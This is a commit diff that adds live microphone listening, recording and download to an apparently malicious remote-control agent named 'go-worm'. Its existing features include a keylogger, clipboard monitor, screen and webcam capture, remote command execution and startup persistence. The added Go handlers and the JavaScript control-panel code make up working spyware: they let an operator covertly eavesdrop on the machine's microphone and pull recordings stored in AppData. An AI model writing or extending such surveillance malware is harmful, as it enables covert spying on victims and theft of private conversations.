Audio
This commit is contained in:
@@ -19,6 +19,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/mic"
|
||||
)
|
||||
|
||||
type Agent struct {
|
||||
@@ -75,6 +76,7 @@ func (a *Agent) Close() {
|
||||
clipmon.Stop()
|
||||
keylog.Stop()
|
||||
capture.Stop()
|
||||
mic.Stop()
|
||||
if a.guard != nil {
|
||||
a.guard.Close()
|
||||
}
|
||||
@@ -95,6 +97,11 @@ func (a *Agent) Serve() error {
|
||||
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
|
||||
mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
|
||||
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
||||
mux.HandleFunc("/api/v1/mic", a.handleMic)
|
||||
mux.HandleFunc("/api/v1/mic/chunk", a.handleMicChunk)
|
||||
mux.HandleFunc("/api/v1/mic/record", a.handleMicRecord)
|
||||
mux.HandleFunc("/api/v1/mic/recordings", a.handleMicRecordings)
|
||||
mux.HandleFunc("/api/v1/mic/download", a.handleMicDownload)
|
||||
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
||||
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
||||
mux.HandleFunc("/api/v1/watchdog", a.handleWatchdog)
|
||||
|
||||
@@ -21,6 +21,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/mic"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/openapi"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||
@@ -411,6 +412,166 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = w.Write(frame.Data)
|
||||
}
|
||||
|
||||
func parseMicDevice(r *http.Request) (int, error) {
|
||||
device := 0
|
||||
if raw := r.URL.Query().Get("device"); raw != "" {
|
||||
var err error
|
||||
device, err = strconv.Atoi(raw)
|
||||
if err != nil || device < 0 {
|
||||
return 0, errors.New("device must be 0 or greater")
|
||||
}
|
||||
}
|
||||
return device, nil
|
||||
}
|
||||
|
||||
func (a *Agent) handleMic(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
devices, err := mic.List()
|
||||
if err != nil {
|
||||
helpers.Log.Printf("mic list: %v", err)
|
||||
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
|
||||
return
|
||||
}
|
||||
if devices == nil {
|
||||
devices = []mic.Device{}
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"devices": devices})
|
||||
case http.MethodDelete:
|
||||
mic.Stop()
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) handleMicChunk(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
device, err := parseMicDevice(r)
|
||||
if err != nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
data, err := mic.Chunk(device)
|
||||
if errors.Is(err, mic.ErrNoAudio) {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
return
|
||||
}
|
||||
if errors.Is(err, mic.ErrDeviceNotFound) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
helpers.Log.Printf("mic chunk: %v", err)
|
||||
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "audio/wav")
|
||||
w.Header().Set("Content-Length", strconv.Itoa(len(data)))
|
||||
_, _ = w.Write(data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleMicRecord(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodPost:
|
||||
device, err := parseMicDevice(r)
|
||||
if err != nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
name, err := mic.StartRecord(device)
|
||||
if errors.Is(err, mic.ErrAlreadyRecording) {
|
||||
helpers.WriteError(w, http.StatusConflict, err.Error())
|
||||
return
|
||||
}
|
||||
if errors.Is(err, mic.ErrDeviceNotFound) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
helpers.Log.Printf("mic record start: %v", err)
|
||||
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "recording": true})
|
||||
case http.MethodDelete:
|
||||
name, size, err := mic.StopRecord()
|
||||
if errors.Is(err, mic.ErrNotRecording) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
helpers.Log.Printf("mic record stop: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "size": size, "recording": false})
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) handleMicRecordings(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
files, err := mic.ListRecordings()
|
||||
if err != nil {
|
||||
helpers.Log.Printf("mic recordings list: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not list recordings")
|
||||
return
|
||||
}
|
||||
dir, err := mic.Dir()
|
||||
if err != nil {
|
||||
helpers.Log.Printf("mic dir: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not resolve mic directory")
|
||||
return
|
||||
}
|
||||
if files == nil {
|
||||
files = []mic.FileInfo{}
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files, "recording": mic.Recording()})
|
||||
}
|
||||
|
||||
func (a *Agent) handleMicDownload(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
name := r.URL.Query().Get("file")
|
||||
if name == "" {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "file is required")
|
||||
return
|
||||
}
|
||||
if !mic.ValidRecordingFilename(name) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name")
|
||||
return
|
||||
}
|
||||
file, info, err := mic.OpenRecording(name)
|
||||
if err != nil {
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
helpers.WriteError(w, http.StatusNotFound, "recording not found")
|
||||
return
|
||||
}
|
||||
if errors.Is(err, os.ErrInvalid) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name")
|
||||
return
|
||||
}
|
||||
helpers.Log.Printf("mic download: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not open recording")
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
w.Header().Set("Content-Type", "audio/wav")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`)
|
||||
w.Header().Set("Accept-Ranges", "bytes")
|
||||
http.ServeContent(w, r, info.Name(), info.ModTime(), file)
|
||||
}
|
||||
|
||||
func (a *Agent) handleWebcam(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
|
||||
@@ -32,11 +32,23 @@
|
||||
const webcamDevice = document.getElementById("webcam-device");
|
||||
const webcamStart = document.getElementById("webcam-start");
|
||||
const webcamStop = document.getElementById("webcam-stop");
|
||||
const micMeta = document.getElementById("mic-meta");
|
||||
const micDevice = document.getElementById("mic-device");
|
||||
const micRows = document.getElementById("mic-rows");
|
||||
const micListen = document.getElementById("mic-listen");
|
||||
const micListenStop = document.getElementById("mic-listen-stop");
|
||||
const micRecord = document.getElementById("mic-record");
|
||||
const micRecordStop = document.getElementById("mic-record-stop");
|
||||
|
||||
let objectUrls = [];
|
||||
let videoRunning = false;
|
||||
let videoTabActive = false;
|
||||
let webcamRunning = false;
|
||||
let micListening = false;
|
||||
let micRecording = false;
|
||||
let micTabActive = false;
|
||||
let micAudioCtx = null;
|
||||
let nextPlayTime = 0;
|
||||
let selectedLogName = "";
|
||||
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
|
||||
let currentListen = "";
|
||||
@@ -64,6 +76,18 @@
|
||||
return res;
|
||||
}
|
||||
|
||||
async function apiNoContent(url, options) {
|
||||
showError("");
|
||||
const res = await fetch(url, options);
|
||||
if (res.status === 204) {
|
||||
return res;
|
||||
}
|
||||
if (!res.ok) {
|
||||
throw new Error(await readError(res));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
function formatBytes(n) {
|
||||
if (n < 1024) return `${n} B`;
|
||||
const units = ["KB", "MB", "GB", "TB"];
|
||||
@@ -467,6 +491,174 @@
|
||||
webcamStop.disabled = true;
|
||||
}
|
||||
|
||||
function sleep(ms) {
|
||||
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||
}
|
||||
|
||||
function setMicControls() {
|
||||
micListen.disabled = micListening;
|
||||
micListenStop.disabled = !micListening;
|
||||
micRecord.disabled = micRecording;
|
||||
micRecordStop.disabled = !micRecording;
|
||||
}
|
||||
|
||||
async function refreshMics() {
|
||||
const res = await api("/api/v1/mic");
|
||||
const data = await res.json();
|
||||
const devices = data.devices || [];
|
||||
const prev = micDevice.value;
|
||||
micDevice.replaceChildren();
|
||||
if (!devices.length) {
|
||||
const opt = document.createElement("option");
|
||||
opt.value = "";
|
||||
opt.textContent = "No microphones found";
|
||||
micDevice.append(opt);
|
||||
micMeta.textContent = "No capture devices";
|
||||
return;
|
||||
}
|
||||
for (const dev of devices) {
|
||||
const opt = document.createElement("option");
|
||||
opt.value = String(dev.index);
|
||||
opt.textContent = `${dev.index}: ${dev.name}`;
|
||||
micDevice.append(opt);
|
||||
}
|
||||
if ([...micDevice.options].some((o) => o.value === prev)) {
|
||||
micDevice.value = prev;
|
||||
}
|
||||
micMeta.textContent = `${devices.length} device(s)`;
|
||||
}
|
||||
|
||||
async function pullMicChunk() {
|
||||
const device = micDevice.value;
|
||||
if (device === "") throw new Error("no microphone selected");
|
||||
const res = await fetch(`/api/v1/mic/chunk?device=${encodeURIComponent(device)}`);
|
||||
if (res.status === 204) return;
|
||||
if (!res.ok) throw new Error(await readError(res));
|
||||
const buf = await res.arrayBuffer();
|
||||
if (!buf.byteLength) return;
|
||||
if (!micAudioCtx) {
|
||||
micAudioCtx = new AudioContext();
|
||||
}
|
||||
if (micAudioCtx.state === "suspended") {
|
||||
await micAudioCtx.resume();
|
||||
}
|
||||
let audioBuf;
|
||||
try {
|
||||
audioBuf = await micAudioCtx.decodeAudioData(buf.slice(0));
|
||||
} catch {
|
||||
return;
|
||||
}
|
||||
const src = micAudioCtx.createBufferSource();
|
||||
src.buffer = audioBuf;
|
||||
src.connect(micAudioCtx.destination);
|
||||
const now = micAudioCtx.currentTime;
|
||||
const start = Math.max(now, nextPlayTime);
|
||||
src.start(start);
|
||||
nextPlayTime = start + audioBuf.duration;
|
||||
}
|
||||
|
||||
async function runMicListen() {
|
||||
if (micListening) return;
|
||||
micListening = true;
|
||||
nextPlayTime = 0;
|
||||
setMicControls();
|
||||
while (micListening) {
|
||||
try {
|
||||
await pullMicChunk();
|
||||
} catch (err) {
|
||||
if (micListening) {
|
||||
showError(err.message);
|
||||
await sleep(500);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
await sleep(50);
|
||||
}
|
||||
micListening = false;
|
||||
setMicControls();
|
||||
}
|
||||
|
||||
function stopMicListen() {
|
||||
micListening = false;
|
||||
setMicControls();
|
||||
}
|
||||
|
||||
async function startMicRecording() {
|
||||
const device = micDevice.value;
|
||||
if (device === "") throw new Error("no microphone selected");
|
||||
const res = await api(`/api/v1/mic/record?device=${encodeURIComponent(device)}`, { method: "POST" });
|
||||
const data = await res.json();
|
||||
micRecording = true;
|
||||
setMicControls();
|
||||
micMeta.textContent = `Recording ${data.file}`;
|
||||
}
|
||||
|
||||
async function stopMicRecording() {
|
||||
const res = await api("/api/v1/mic/record", { method: "DELETE" });
|
||||
const data = await res.json();
|
||||
micRecording = false;
|
||||
setMicControls();
|
||||
micMeta.textContent = `Saved ${data.file} · ${formatBytes(data.size || 0)}`;
|
||||
await listMicRecordings();
|
||||
}
|
||||
|
||||
async function stopMicSession() {
|
||||
stopMicListen();
|
||||
if (micRecording) {
|
||||
try {
|
||||
await stopMicRecording();
|
||||
} catch {
|
||||
micRecording = false;
|
||||
setMicControls();
|
||||
}
|
||||
}
|
||||
try {
|
||||
await apiNoContent("/api/v1/mic", { method: "DELETE" });
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
}
|
||||
|
||||
function downloadMicRecording(name) {
|
||||
const link = document.createElement("a");
|
||||
link.href = `/api/v1/mic/download?file=${encodeURIComponent(name)}`;
|
||||
link.download = name;
|
||||
document.body.append(link);
|
||||
link.click();
|
||||
link.remove();
|
||||
}
|
||||
|
||||
async function listMicRecordings() {
|
||||
const res = await api("/api/v1/mic/recordings");
|
||||
const data = await res.json();
|
||||
const files = data.files || [];
|
||||
micRecording = Boolean(data.recording);
|
||||
setMicControls();
|
||||
const dir = data.directory || "";
|
||||
micMeta.textContent = micRecording
|
||||
? `Recording in progress · ${files.length} saved · ${dir}`
|
||||
: `${files.length} recording(s) · ${dir}`;
|
||||
micRows.replaceChildren();
|
||||
for (const file of files) {
|
||||
const tr = document.createElement("tr");
|
||||
const name = document.createElement("td");
|
||||
name.textContent = file.name;
|
||||
const size = document.createElement("td");
|
||||
size.textContent = formatBytes(file.size || 0);
|
||||
const modified = document.createElement("td");
|
||||
modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : "";
|
||||
const actions = document.createElement("td");
|
||||
actions.className = "actions";
|
||||
const btn = document.createElement("button");
|
||||
btn.type = "button";
|
||||
btn.textContent = "Download";
|
||||
btn.addEventListener("click", () => downloadMicRecording(file.name));
|
||||
actions.append(btn);
|
||||
tr.append(name, size, modified, actions);
|
||||
micRows.append(tr);
|
||||
}
|
||||
}
|
||||
|
||||
async function pullVideoFrame() {
|
||||
const quality = clamp(document.getElementById("video-quality").value, 1, 100);
|
||||
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
|
||||
@@ -731,6 +923,15 @@
|
||||
if (!onVideo) {
|
||||
stopVideo();
|
||||
}
|
||||
const onMic = button.dataset.tab === "mic";
|
||||
if (micTabActive && !onMic) {
|
||||
stopMicSession().catch((err) => showError(err.message));
|
||||
}
|
||||
micTabActive = onMic;
|
||||
if (onMic) {
|
||||
refreshMics().catch((err) => showError(err.message));
|
||||
listMicRecordings().catch((err) => showError(err.message));
|
||||
}
|
||||
if (button.dataset.tab === "logs") {
|
||||
listKeylogs().catch((err) => showError(err.message));
|
||||
}
|
||||
@@ -799,6 +1000,26 @@
|
||||
document.getElementById("webcam-snap").addEventListener("click", () => {
|
||||
pullWebcamFrame().catch((err) => showError(err.message));
|
||||
});
|
||||
document.getElementById("mic-refresh").addEventListener("click", () => {
|
||||
refreshMics().catch((err) => showError(err.message));
|
||||
});
|
||||
micListen.addEventListener("click", () => {
|
||||
runMicListen().catch((err) => showError(err.message));
|
||||
});
|
||||
micListenStop.addEventListener("click", () => {
|
||||
stopMicListen();
|
||||
});
|
||||
micRecord.addEventListener("click", () => {
|
||||
startMicRecording().catch((err) => showError(err.message));
|
||||
});
|
||||
micRecordStop.addEventListener("click", () => {
|
||||
stopMicRecording().catch((err) => showError(err.message));
|
||||
});
|
||||
micDevice.addEventListener("change", () => {
|
||||
if (micListening || micRecording) {
|
||||
stopMicSession().catch((err) => showError(err.message));
|
||||
}
|
||||
});
|
||||
videoCanvas.addEventListener("click", (event) => {
|
||||
sendClick(event, "left").catch((err) => showError(err.message));
|
||||
});
|
||||
|
||||
@@ -735,6 +735,7 @@
|
||||
<button data-tab="screenshot" type="button">Screenshot</button>
|
||||
<button data-tab="video" type="button">Video</button>
|
||||
<button data-tab="webcam" type="button">Webcam</button>
|
||||
<button data-tab="mic" type="button">Mic</button>
|
||||
<button data-tab="exec" type="button">Command</button>
|
||||
<button data-tab="update" type="button">Update</button>
|
||||
<button data-tab="settings" type="button">Settings</button>
|
||||
@@ -887,6 +888,36 @@
|
||||
<p id="webcam-meta" class="meta stack-gap"></p>
|
||||
</section>
|
||||
|
||||
<section id="mic" class="panel">
|
||||
<div class="panel-head">
|
||||
<div>
|
||||
<h2>Microphone</h2>
|
||||
<p class="lede">Listen live or record to AppData. Listen and record share one capture session.</p>
|
||||
</div>
|
||||
<div class="panel-actions">
|
||||
<button id="mic-listen" class="primary" type="button">Listen</button>
|
||||
<button id="mic-listen-stop" type="button" disabled>Stop listen</button>
|
||||
<button id="mic-record" type="button">Record</button>
|
||||
<button id="mic-record-stop" class="danger" type="button" disabled>Stop record</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="toolbar">
|
||||
<button id="mic-refresh" type="button">Refresh devices</button>
|
||||
<label>Device
|
||||
<select id="mic-device" class="grow"></select>
|
||||
</label>
|
||||
</div>
|
||||
<p id="mic-meta" class="meta stack-gap">—</p>
|
||||
<div class="table-wrap stack-gap">
|
||||
<table>
|
||||
<thead>
|
||||
<tr><th>Recording</th><th>Size</th><th>Modified</th><th></th></tr>
|
||||
</thead>
|
||||
<tbody id="mic-rows"></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="exec" class="panel">
|
||||
<div class="panel-head">
|
||||
<div>
|
||||
|
||||
Reference in New Issue
Block a user